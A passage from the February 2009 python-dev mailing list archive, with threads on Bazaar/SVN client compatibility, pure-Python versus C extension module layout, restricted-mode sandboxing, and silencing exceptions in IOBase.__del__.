backward compatibility. Fortunately I still had the SVN 1.4 client on the Ubuntu machine that was hosting the Samba shares, so I could use ssh and the command line to maintain things. regards Steve -- Steve Holden +1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/ From cournape at gmail.com Sun Feb 22 04:20:34 2009 From: cournape at gmail.com (David Cournapeau) Date: Sun, 22 Feb 2009 12:20:34 +0900 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <873ae856le.fsf@xemacs.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <873ae856le.fsf@xemacs.org> Message-ID: <5b8d13220902211920u18b5a5f9tea4bc31638242f11@mail.gmail.com> On Sat, Feb 21, 2009 at 9:15 PM, Stephen J. Turnbull wrote: > "Martin v. L?wis" writes: > > sjt sez: > > > > I didn't say "from source", I said "from a VCS checkout". If using a > > > *specific* recent official release of a core tool is bureaucratically > > > infeasible, it would IMO be very unusual if you're allowed to checkout > > > and build arbitrary versions of Python, rather than using a version > > > provided by your bureaucrats. > > > > > > The number of people whose job is *specifically* developing Python, or > > > developing code that depends on bleeding-edge Python, in such an > > > environment is surely very small. > > > This completely contradicts with my experience. In a university > > environment, students regularly check out software from the source > > repository, modify it, and build it, just to learn something by doing > > so. > > You're ignoring the second paragraph quoted above. I'm *not* denying > that such environments are common. The question is "Do developers > *restricted to such environments* really have an impact on Python > development to outweigh the real cost of standardizing on an older > implementation of Bazaar to developers who would be able to use a more > capable version?" That was not the original question. I was just meaning to say that not being able to install from PPA is not hypothetical, in some of my work environments, not that it would be significant for the python future :) David From martin at v.loewis.de Sun Feb 22 04:56:24 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 22 Feb 2009 04:56:24 +0100 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <49A0A6B3.5060805@palladion.com> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de> <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com> <78F10A13-54F3-42B8-914C-0EF80C60C904@python.org> <79990c6b0902211506j7644f8a3ve0839ff630f4fe91@mail.gmail.com> <49A0A6B3.5060805@palladion.com> Message-ID: <49A0CCE8.9010609@v.loewis.de> > This has been true for a number of cases over the years: whether the > "repostiory format", or the wire protocol, sometimes changes which > materially *improve* the user's experience may require upgrading the > client on the user's machine. In the case of SVN, upgrading to 1.5 gets > vastly better merging support; in the case ob bzr, the win is > performance when working against a large tree. The question is whether upgrades on the server force upgrades on the clients. For subversion, this is not the case: Older clients continue to work correctly with 1.5 servers - they just can't use the merge functionality. IIUC, for bzr, this is different: if the repository format is upgraded, older clients will fail to do anything, not even a regular checkout. > AFAICS, no real user (one already using bzr to work with the Python > tree) has objected. Apparently not (assuming David Cournapeau does not actually use bzr) Regards, Martin From aahz at pythoncraft.com Sun Feb 22 05:12:32 2009 From: aahz at pythoncraft.com (Aahz) Date: Sat, 21 Feb 2009 20:12:32 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> <20090221234646.GA19226@panix.com> Message-ID: <20090222041232.GA25580@panix.com> On Sat, Feb 21, 2009, Brett Cannon wrote: > On Sat, Feb 21, 2009 at 15:46, Aahz wrote: >> On Sat, Feb 21, 2009, Brett Cannon wrote: >>> >>> I am seeing two approaches emerging. One is where pickle contains all >>> Python code and then uses something like use_extension to make sure >>> the original Python objects are still reachable at some point. This >>> has the drawback that you have to use some function to make the >>> extensions happen and there is some extra object storage. >>> >>> The other approach is having pickle contain code known not to >>> be overridden by anyone, import _pypickle for stuff that may be >>> overridden, and then import _pickle for whatever is available. This >>> approach has the perk of using a standard practice for how to pull in >>> different implementation. But the drawback, thanks to how globals are >>> bound, is that any code pulled in from _pickle/_pypickle will not be >>> able to call into other optimized code; it's a take or leave it once >>> the call chain enters one of those modules as they will always call >>> the implementations in the module they originate from. >> >> To what extent do we care about being able to select Python-only on a >> per-module basis, particularly in the face of threaded imports? That is, >> we could have a sys.python_only attribute that gets checked on import. >> That's simple and direct, and even allows per-module switching if the >> application really cares and import doesn't need to worry about threads. >> >> Alternatively, sys.python_only could be a set, but that gets ugly about >> setting from the application. (The module checks to see whether it's >> listed in sys.python_only.) >> >> Maybe we should move this discussion to python-ideas for now to kick >> around really oddball suggestions? > > This is all about testing. If a change is made to some extension code it > should be mirrored in the Python code and vice-versa. Okay, I don't see how that is a response to my suggestion -- I can imagine that someone might want to test a combination of pure-Python and binary libraries. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From cmjohnson.mailinglist at gmail.com Sun Feb 22 09:17:02 2009 From: cmjohnson.mailinglist at gmail.com (Carl Johnson) Date: Sat, 21 Feb 2009 22:17:02 -1000 Subject: [Python-Dev] Seeming unintended difference between list comprehensions and generator expressions... In-Reply-To: <499F4C48.2060509@gmail.com> References: <499F395E.5010202@gmail.com> <499F4C48.2060509@gmail.com> Message-ID: <3bdda690902220017q29d99101s7ecfe6d05a0582d@mail.gmail.com> Nick Coghlan wrote: > > Josiah Carlson wrote: > >> Similarly, a 3.x list comprehension [i*i for i in x] is very roughly > >> translated as: > >> > >> def _lc(arg): > >> result = [] > >> for i in arg: > >> result.append(i*i) > >> return result > >> > >> = _lc(x) > > > > I was under the impression that in 3.x, it was equivalent to > > list() . Which would explain the difference between 2.6 and > > 3.0. > > Semantically, the two translations end up being the same. Actually, they're not quite the same. list() will swallow any StopIteration exceptions that end up getting thrown inside the generator, but even in Python 3, list comprehensions will not catch StopIteration. So for explanatory purposes, thinking of a list comprehension as a function that returns a list is more useful than thinking of it as list(). -- Carl From fuzzyman at voidspace.org.uk Sun Feb 22 12:46:09 2009 From: fuzzyman at voidspace.org.uk (Michael Foord) Date: Sun, 22 Feb 2009 11:46:09 +0000 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de> <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com> Message-ID: <49A13B01.8050208@voidspace.org.uk> Steve Holden wrote: > Steven Bethard wrote: > >> On Sat, Feb 21, 2009 at 1:11 PM, Paul Moore wrote: >> >>> PS Just for my own information, am I correct in thinking that it is >>> *only* Bazaar in the (D)VCS world that has this problem, to any real >>> extent? I know old Mercurial clients can interact with newer servers >>> (ie, the wire protocol hasn't changed), I'm fairly sure that older >>> Subversion clients can talk to newer servers (at least, I've never >>> cared what client version I'm running). >>> >> I've definitely had an SVN server tell me that I needed to upgrade my >> client to 1.5. >> > > Interestingly, I've had 1.4 servers tell me I shouldn't have upgraded my > client to 1.5, which is a little tedious = particularly as the > information comes in the form of a hard-to-decipher error message and a > refusal to work. So much for backward compatibility. > Hmm... I've been using 1.5 clients with 1.4 and earlier servers for quite a while now. My guess is that you deciphered the error message wrong! A working copy created by a 1.5 client can only be manipulated by a 1.5 client (I sometimes have several clients on windows boxen) but work fine with earlier servers in my experience. Michael > Fortunately I still had the SVN 1.4 client on the Ubuntu machine that > was hosting the Samba shares, so I could use ssh and the command line to > maintain things. > > regards > Steve > -- http://www.ironpythoninaction.com/ http://www.voidspace.org.uk/blog From steve at holdenweb.com Sun Feb 22 14:37:27 2009 From: steve at holdenweb.com (Steve Holden) Date: Sun, 22 Feb 2009 08:37:27 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <49A13B01.8050208@voidspace.org.uk> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> <5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com> <878wo05lkc.fsf@xemacs.org> <5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com> <874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de> <49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de> <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com> <49A13B01.8050208@voidspace.org.uk> Message-ID: <49A15517.9050609@holdenweb.com> Michael Foord wrote: > Steve Holden wrote: >> Steven Bethard wrote: >> >>> On Sat, Feb 21, 2009 at 1:11 PM, Paul Moore wrote: >>> >>>> PS Just for my own information, am I correct in thinking that it is >>>> *only* Bazaar in the (D)VCS world that has this problem, to any real >>>> extent? I know old Mercurial clients can interact with newer servers >>>> (ie, the wire protocol hasn't changed), I'm fairly sure that older >>>> Subversion clients can talk to newer servers (at least, I've never >>>> cared what client version I'm running). >>>> >>> I've definitely had an SVN server tell me that I needed to upgrade my >>> client to 1.5. >>> >> >> Interestingly, I've had 1.4 servers tell me I shouldn't have upgraded my >> client to 1.5, which is a little tedious = particularly as the >> information comes in the form of a hard-to-decipher error message and a >> refusal to work. So much for backward compatibility. >> > > Hmm... I've been using 1.5 clients with 1.4 and earlier servers for > quite a while now. My guess is that you deciphered the error message wrong! > > A working copy created by a 1.5 client can only be manipulated by a 1.5 > client (I sometimes have several clients on windows boxen) but work fine > with earlier servers in my experience. > You are correct. In fact I got over the issue by using the 1.4 client from Cygwin. regards Steve -- Steve Holden +1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/ From guido at python.org Sun Feb 22 17:45:27 2009 From: guido at python.org (Guido van Rossum) Date: Sun, 22 Feb 2009 08:45:27 -0800 Subject: [Python-Dev] Reviving restricted mode? Message-ID: I've received some enthusiastic emails from someone who wants to revive restricted mode. He started out with a bunch of patches to the CPython runtime using ctypes, which he attached to an App Engine bug: http://code.google.com/p/googleappengine/issues/detail?id=671 Based on his code (the file secure.py is all you need, included in secure.tar.gz) it seems he believes the only security leaks are __subclasses__, gi_frame and gi_code. (I have since convinced him that if we add "restricted" guards to these attributes, he doesn't need the functions added to sys.) I don't recall the exploits that Samuele once posted that caused the death of rexec.py -- does anyone recall, or have a pointer to the threads? -- --Guido van Rossum (home page: http://www.python.org/~guido/) From benjamin at python.org Sun Feb 22 18:54:54 2009 From: benjamin at python.org (Benjamin Peterson) Date: Sun, 22 Feb 2009 11:54:54 -0600 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: Message-ID: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> On Sun, Feb 22, 2009 at 10:45 AM, Guido van Rossum wrote: > I've received some enthusiastic emails from someone who wants to > revive restricted mode. He started out with a bunch of patches to the > CPython runtime using ctypes, which he attached to an App Engine bug: > > http://code.google.com/p/googleappengine/issues/detail?id=671 > > Based on his code (the file secure.py is all you need, included in > secure.tar.gz) it seems he believes the only security leaks are > __subclasses__, gi_frame and gi_code. (I have since convinced him that > if we add "restricted" guards to these attributes, he doesn't need the > functions added to sys.) We have to remember that it's quite trivial to segfault the interpreter with pure Python. (See Lib/test/crashers) Even if this patch manages to plug all the holes in the current Python, do we really want to commit our selves to maintaining it through language evolution which will surely introduce new subtle ways to circumvent the guard? IMO, the only fairly close to fool proof method of running restricted python is through something like the PyPy sandbox where all os level calls have to be checked by the master process. > > I don't recall the exploits that Samuele once posted that caused the > death of rexec.py -- does anyone recall, or have a pointer to the > threads? It was broken by the introduction of new-style classes: http://mail.python.org/pipermail/python-dev/2002-December/031160.html -- Regards, Benjamin From lists at jwp.name Sun Feb 22 18:38:43 2009 From: lists at jwp.name (James Pye) Date: Sun, 22 Feb 2009 10:38:43 -0700 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com> <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com> Message-ID: <047CBEEF-F400-4D10-BBC2-CD244EFD5757@jwp.name> On Feb 21, 2009, at 2:17 PM, Brett Cannon wrote: > The other approach is having pickle contain code known not to be > overridden by anyone, import _pypickle for stuff that may be > overridden, and then import _pickle for whatever is available. This > approach has the perk of using a standard practice for how to pull > in different implementation. But the drawback, thanks to how globals > are bound, is that any code pulled in from _pickle/_pypickle will > not be able to call into other optimized code; it's a take or leave > it once the call chain enters one of those modules as they will > always call the implementations in the module they originate from. fwiw, I believe this is the approach that I've been using when I'm faced with the need to optimize code, but still want to retain a pure-Python version. Thankfully, I haven't had a need for "implementation intersections"(well, it almost works. I think. ;) for access to common module globals as the optimizations tend to be simple transformations or isolated classes. However, if I were faced with the problem of needing some common global data/functionality, I'd probably put it in yet-another-module and just import it explicitly in each implementation. Sure, it seems like it might be annoying, but so is maintaining multiple implementations. ;) Specifically: pbuffer.py - The python implementation buffer.c -> cbuffer.so - The c implementation buffer.py - The "abstraction module", trying to import the contents of the fast one first. And in my unittest: if c_buffer_module is not None: class c_buffer(buffer_test, unittest.TestCase): bufferclass = c_buffer_module.pq_message_stream class p_buffer(buffer_test, unittest.TestCase): bufferclass = p_buffer_module.pq_message_stream Of course, "buffer_test" is not invoked because it's not a TestCase. However, Aahz is probably right about this thread belonging elsewhere.? Hrm, day old, maybe it's been moved already.. sigh. :) From pedronis at openend.se Sun Feb 22 19:13:56 2009 From: pedronis at openend.se (Samuele Pedroni) Date: Sun, 22 Feb 2009 19:13:56 +0100 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: Message-ID: <49A195E4.2020806@openend.se> Guido van Rossum wrote: > I've received some enthusiastic emails from someone who wants to > revive restricted mode. He started out with a bunch of patches to the > CPython runtime using ctypes, which he attached to an App Engine bug: > > http://code.google.com/p/googleappengine/issues/detail?id=671 > > Based on his code (the file secure.py is all you need, included in > secure.tar.gz) it seems he believes the only security leaks are > __subclasses__, gi_frame and gi_code. (I have since convinced him that > if we add "restricted" guards to these attributes, he doesn't need the > functions added to sys.) > > I don't recall the exploits that Samuele once posted that caused the > death of rexec.py -- does anyone recall, or have a pointer to the > threads? > > I don't have much time these days, for sure not until pycon us, to look at the proposed code. A remark though, in many cases people want to use restricted execution to allow trusted and untrusted code to live side by side. In such a scenario the issue is not only how to prevent for example the untrusted code to get hold of open() but also how to deal with the security issues at the boundary when untrusted code calls into trusted code. AFAIK E provides and incorporate a lot of thinking around the concept of guards, a sort of generalized runtime "type checking" with very strong guarantees, in a language like Java instead type checking and final classes can be used to provide the required safety. Python instead over the years has grown more hooks for object to cheat about their types. In general safely programming such trusted code in python will be delicate and slightly cumbersome. Think for example of thinhs that can be done by objects redefining equality wrt data structures that old sensitive information unless such arguments are blocked. From steven.bethard at gmail.com Sun Feb 22 19:16:18 2009 From: steven.bethard at gmail.com (Steven Bethard) Date: Sun, 22 Feb 2009 10:16:18 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090220205329.GA9829@panix.com> Message-ID: On Fri, Feb 20, 2009 at 1:45 PM, Brett Cannon wrote: > But there is another issue with this: the pure Python code will never call > the extension code because the globals will be bound to _pypickle and not > _pickle. So if you have something like:: > > # _pypickle > def A(): return _B() > def _B(): return -13 > > # _pickle > def _B(): return 42 > > # pickle > from _pypickle import * > try: from _pickle import * > except ImportError: pass > > If you import pickle and call pickle.A() you will get -13 which is not what > you are after. Maybe I've missed this and someone else already suggested it, but couldn't we provide a (probably C-coded) function ``replace_globals(module, globals)`` that would, say, replace the globals in _pypickle with the globals in pickle? Then you could write something like:: from _pypickle import * try: from _pickle import * module = __import__('_pickle') except ImportError: module = __import__('_pypickle') replace_globals(module, globals()) Steve -- I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a tiny blip on the distant coast of sanity. --- Bucky Katt, Get Fuzzy From fuzzyman at voidspace.org.uk Sun Feb 22 19:29:11 2009 From: fuzzyman at voidspace.org.uk (Michael Foord) Date: Sun, 22 Feb 2009 18:29:11 +0000 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090220205329.GA9829@panix.com> Message-ID: <49A19977.7020305@voidspace.org.uk> Steven Bethard wrote: > On Fri, Feb 20, 2009 at 1:45 PM, Brett Cannon wrote: > >> But there is another issue with this: the pure Python code will never call >> the extension code because the globals will be bound to _pypickle and not >> _pickle. So if you have something like:: >> >> # _pypickle >> def A(): return _B() >> def _B(): return -13 >> >> # _pickle >> def _B(): return 42 >> >> # pickle >> from _pypickle import * >> try: from _pickle import * >> except ImportError: pass >> >> If you import pickle and call pickle.A() you will get -13 which is not what >> you are after. >> > > Maybe I've missed this and someone else already suggested it, but > couldn't we provide a (probably C-coded) function > ``replace_globals(module, globals)`` that would, say, replace the > globals in _pypickle with the globals in pickle? Then you could write > something like:: > > from _pypickle import * > try: > from _pickle import * > module = __import__('_pickle') > except ImportError: > module = __import__('_pypickle') > replace_globals(module, globals()) > > Steve > Swapping out module globals seems to be a backwards way to do things to me. Why not have one set of tests that test the low level APIs (identical tests whether they are written in C or Python) - and as they live in their own module are easy to test in isolation. And then a separate set of tests for the higher level APIs, which can even mock out the low level APIs they use. There shouldn't be any need for switching out objects in the scope of the lower level APIs - that seems like a design smell to me. Michael -- http://www.ironpythoninaction.com/ From solipsis at pitrou.net Sun Feb 22 20:02:01 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Sun, 22 Feb 2009 19:02:01 +0000 (UTC) Subject: [Python-Dev] Silencing IO errors on del/dealloc? Message-ID: Hello, The Python version of IO lib has taken the stance that all errors happening in the destructor of an IO object are silenced. Here is the relevant code in IOBase: def __del__(self) -> None: """Destructor. Calls close().""" # The try/except block is in case this is called at program # exit time, when it's possible that globals have already been # deleted, and then the close() call might fail. Since # there's nothing we can do about such failures and they annoy # the end users, we suppress the traceback. try: self.close() except: pass However, this seems very unreliable and dangerous to me. Users will not be warned if their IO objects are not closed properly (which might be due to programming errors), and data possibly gets corrupted. I would like to change this behaviour so that the "try/except" enclosure above is removed, letting __del__ at least print those (unraisable) errors on the console. Of course I also advocate doing so in the C version of the IO lib. Regards Antoine. From guido at python.org Sun Feb 22 20:02:33 2009 From: guido at python.org (Guido van Rossum) Date: Sun, 22 Feb 2009 11:02:33 -0800 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> Message-ID: On Sun, Feb 22, 2009 at 9:54 AM, Benjamin Peterson wrote: > On Sun, Feb 22, 2009 at 10:45 AM, Guido van Rossum wrote: >> I've received some enthusiastic emails from someone who wants to >> revive restricted mode. He started out with a bunch of patches to the >> CPython runtime using ctypes, which he attached to an App Engine bug: >> >> http://code.google.com/p/googleappengine/issues/detail?id=671 >> >> Based on his code (the file secure.py is all you need, included in >> secure.tar.gz) it seems he believes the only security leaks are >> __subclasses__, gi_frame and gi_code. (I have since convinced him that >> if we add "restricted" guards to these attributes, he doesn't need the >> functions added to sys.) > > We have to remember that it's quite trivial to segfault the > interpreter with pure Python. (See Lib/test/crashers) I know it well, but for this particular use case that doesn't matter. Tav is interested in using this on app engine, which doesn't care about segfaults -- the process is simply restarted, nobody gains access to information they shouldn't have. App engine does care about overwriting memory, but none of the crashers get that far in the configuration on app engine. > Even if this patch manages to plug all the holes in the current > Python, do we really want to commit our selves to maintaining it > through language evolution which will surely introduce new subtle ways > to circumvent the guard? You'd have to talk to Tav about this (I've CC'ed him on this message). He seems quite convinced that his current approach is secure, all he wants is a way to do the equivalent in app engine (where ctypes is not supported and never will be). > IMO, the only fairly close to fool proof method of running restricted > python is through something like the PyPy sandbox where all os level > calls have to be checked by the master process. Trust me, app engine has something similar -- Tav's desire is just to provide an added barrier between his app and code that his app will let users run within a context it provides. He's relying (forced to rely :-) on app engine's sandbox for protection against illegal syscalls. >> I don't recall the exploits that Samuele once posted that caused the >> death of rexec.py -- does anyone recall, or have a pointer to the >> threads? > > It was broken by the introduction of new-style classes: > > http://mail.python.org/pipermail/python-dev/2002-December/031160.html I think there were other threads where Samule showed some quite devious ways to access the os module. I don't see any posts by Samuele in that thread (and he just replied that he's too busy). The attack demonstrated at the top of that thread isn't particularly interesting -- it just shows that class-based security doesn't work so well, but that doesn't mean some other approach based more on functions couldn't work. For Tav's benefit, I think it would be good to at least add "IsRestricted" checks to __subclasses__(), go_code and gi_frame -- that's a trivial patch and if he believes it's enough he can create a sandbox on app engine and invite people to try to break out of it... If someone succeeds, the damage is limited by app engine's own perimeter defenses (which haven't been broken through since it was released 9 months ago). -- --Guido van Rossum (home page: http://www.python.org/~guido/) From guido at python.org Sun Feb 22 20:08:15 2009 From: guido at python.org (Guido van Rossum) Date: Sun, 22 Feb 2009 11:08:15 -0800 Subject: [Python-Dev] Silencing IO errors on del/dealloc? In-Reply-To: References: Message-ID: On Sun, Feb 22, 2009 at 11:02 AM, Antoine Pitrou wrote: > The Python version of IO lib has taken the stance that all errors happening in > the destructor of an IO object are silenced. Here is the relevant code in IOBase: > > def __del__(self) -> None: > """Destructor. Calls close().""" > # The try/except block is in case this is called at program > # exit time, when it's possible that globals have already been > # deleted, and then the close() call might fail. Since > # there's nothing we can do about such failures and they annoy > # the end users, we suppress the traceback. > try: > self.close() > except: > pass > > However, this seems very unreliable and dangerous to me. Users will not be > warned if their IO objects are not closed properly (which might be due to > programming errors), and data possibly gets corrupted. OTOH the is a much larger category of false positives, where a close() call raise an exception for some spurious reason (see the quoted comment) but no harm is done; in the past the tracebacks printed for __del__ by default have caused nothing but confuse users (who think something is seriously wrong but have no way to debug it). The svn history of those lines may have more pointers. > I would like to change this behaviour so that the "try/except" enclosure above > is removed, letting __del__ at least print those (unraisable) errors on the > console. Of course I also advocate doing so in the C version of the IO lib. I'd be very wary of this change. That code has enough comments to make me believe that I put it in for a very good reason... -- --Guido van Rossum (home page: http://www.python.org/~guido/) From solipsis at pitrou.net Sun Feb 22 20:32:32 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Sun, 22 Feb 2009 19:32:32 +0000 (UTC) Subject: [Python-Dev] Silencing IO errors on del/dealloc? References: Message-ID: Guido van Rossum python.org> writes: > > OTOH the is a much larger category of false positives, where a close() > call raise an exception for some spurious reason (see the quoted > comment) but no harm is done; in the past the tracebacks printed for > __del__ by default have caused nothing but confuse users (who think > something is seriously wrong but have no way to debug it). > > The svn history of those lines may have more pointers. Well this code dates back to the first checkin in the py3k branch. Apparently the old p3yk branch is not there anymore... I understand the missing globals on shutdown problem, but the error may also be a legitimate programming error, where a close() implementation fails for whatever reason. At least displaying the error may encourage the programmer to strengthen his implementation. How about the following compromise: try: closed = self.closed except: # Object is in an unusable state, don't attempt anything pass else: if not closed: self.close() Regards Antoine. From greg.ewing at canterbury.ac.nz Sun Feb 22 21:07:27 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Mon, 23 Feb 2009 09:07:27 +1300 Subject: [Python-Dev] Silencing IO errors on del/dealloc? In-Reply-To: References: Message-ID: <49A1B07F.7040503@canterbury.ac.nz> Antoine Pitrou wrote: > I would like to change this behaviour so that the "try/except" enclosure above > is removed, letting __del__ at least print those (unraisable) errors on the > console. Of course I also advocate doing so in the C version of the IO lib. I would hope that the C version could at least ensure that buffers are flushed properly without having to rely on any global variables, so that this would not be so much of an issue. When we were using stdio, we could rely on the C runtime to flush buffers unless something very drastic has gone wrong. Bypassing stdio means we are taking that responsibility on ourselves. -- Greg From greg.ewing at canterbury.ac.nz Sun Feb 22 21:10:42 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Mon, 23 Feb 2009 09:10:42 +1300 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> Message-ID: <49A1B142.8030403@canterbury.ac.nz> Guido van Rossum wrote: > Tav is interested in using this on app engine, which doesn't care > about segfaults -- the process is simply restarted, nobody gains > access to information they shouldn't have. App engine does care about > overwriting memory, That doesn't make sense -- how can something not care about segfaults, but care about memory overwriting? If something is capable of causing a segfault, you can't be sure it won't just corrupt memory in some way that doesn't segfault but causes some other problem. -- Greg From solipsis at pitrou.net Sun Feb 22 21:24:44 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Sun, 22 Feb 2009 20:24:44 +0000 (UTC) Subject: [Python-Dev] Silencing IO errors on del/dealloc? References: <49A1B07F.7040503@canterbury.ac.nz> Message-ID: Greg Ewing canterbury.ac.nz> writes: > > I would hope that the C version could at least ensure that > buffers are flushed properly without having to rely on any > global variables, so that this would not be so much of an > issue. The C version cleans up after itself just fine :) The issue is when someone defines a Python class derived from IOBase or one of its descendants (RawIOBase, BufferedIOBase, TextIOBase), and overrides the close() method. (see e.g. SocketIO in socket.py, which incidentally defined its own __del__ while it could perhaps rely on RawIOBase to do the right thing) From guido at python.org Sun Feb 22 22:17:06 2009 From: guido at python.org (Guido van Rossum) Date: Sun, 22 Feb 2009 13:17:06 -0800 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: <49A1B142.8030403@canterbury.ac.nz> References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> <49A1B142.8030403@canterbury.ac.nz> Message-ID: On Sun, Feb 22, 2009 at 12:10 PM, Greg Ewing wrote: >> Tav is interested in using this on app engine, which doesn't care >> about segfaults -- the process is simply restarted, nobody gains >> access to information they shouldn't have. App engine does care about >> overwriting memory, > > That doesn't make sense -- how can something not care > about segfaults, but care about memory overwriting? > If something is capable of causing a segfault, you > can't be sure it won't just corrupt memory in some > way that doesn't segfault but causes some other > problem. To be more precise, we don't care about crashes caused by NULL pointer dereferencing. Most of the demonstrated crashers work by causing a NULL pointer dereference. Since that crashes immediately, there is no possibility for a further exploit. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From tav at espians.com Sun Feb 22 22:22:27 2009 From: tav at espians.com (tav) Date: Sun, 22 Feb 2009 21:22:27 +0000 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> Message-ID: Hey guys, benjamin> Even if this patch manages to plug all the holes in the benjamin> current Python, do we really want to commit our benjamin> selves to maintaining it through language evolution benjamin> which will surely introduce new subtle ways to benjamin> circumvent the guard? If it would be helpful, I am happy to maintain this as Python evolves. I've already been maintaining the PJE-inspired ctypes-based approach and monkeypatches for various Python versions for a while now. See secure.py, secure25.py, secure26.py and secure30.py in: http://github.com/tav/plexnet/tree/9dabc570a2499689e773d1af3599a29102071f80/source/plexnet/util Also, my plans for world domination depend on a secure Python, so I have the necessary incentives ;p sameule> I don't have much time these days, for sure not samuele> until pycon us, to look at the proposed code. Thanks in advance if/when you get the time for this Samuele! samuele> E provides and incorporate a lot of thinking samuele> around [snip] The functions based approach I am taking is very much taken from E and inspired by an insight that Ka-Ping Yee had on Python-Dev years ago. See http://www.erights.org/elib/capability/ode/index.html for a direct parallel to the approach I've taken... guido> For Tav's benefit, I think it would be good to at guido> least add "IsRestricted" checks to guido> __subclasses__(), gi_code and gi_frame -- guido> that's a trivial patch and if he believes it's guido> enough he can create a sandbox on app engine guido> and invite people to try to break out of it... If guido> someone succeeds.... If someone succeeds... ...My missus might end up leaving me on account of so much crying ;p Seriously though, it's a relatively risk-free approach. The only person who stands to lose out is me if I'm wrong =) In the worst case scenario, this approach would help identify other "leak" attributes/methods -- which I'm hoping won't be found. And, in an ideal scenario, we'd have the basis for secure Python interpreter/programming... which, together with PyPy's sandboxed interpreter, would seriously rock! -- enthusiastically, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian From guido at python.org Sun Feb 22 22:25:16 2009 From: guido at python.org (Guido van Rossum) Date: Sun, 22 Feb 2009 13:25:16 -0800 Subject: [Python-Dev] Silencing IO errors on del/dealloc? In-Reply-To: References: Message-ID: On Sun, Feb 22, 2009 at 11:32 AM, Antoine Pitrou wrote: > Guido van Rossum python.org> writes: >> OTOH the is a much larger category of false positives, where a close() >> call raise an exception for some spurious reason (see the quoted >> comment) but no harm is done; in the past the tracebacks printed for >> __del__ by default have caused nothing but confuse users (who think >> something is seriously wrong but have no way to debug it). >> >> The svn history of those lines may have more pointers. > > Well this code dates back to the first checkin in the py3k branch. Apparently > the old p3yk branch is not there anymore... OK, then we'll just have to understand the big comment in the code. > I understand the missing globals on shutdown problem, but the error may also be > a legitimate programming error, where a close() implementation fails for > whatever reason. At least displaying the error may encourage the programmer to > strengthen his implementation. > > How about the following compromise: > > try: > closed = self.closed > except: > # Object is in an unusable state, don't attempt anything > pass > else: > if not closed: > self.close() No. Trust me. It is not always possible to strengthen the implementation. (At least not until we get rid of the "replace all globals with None upon module deletion" 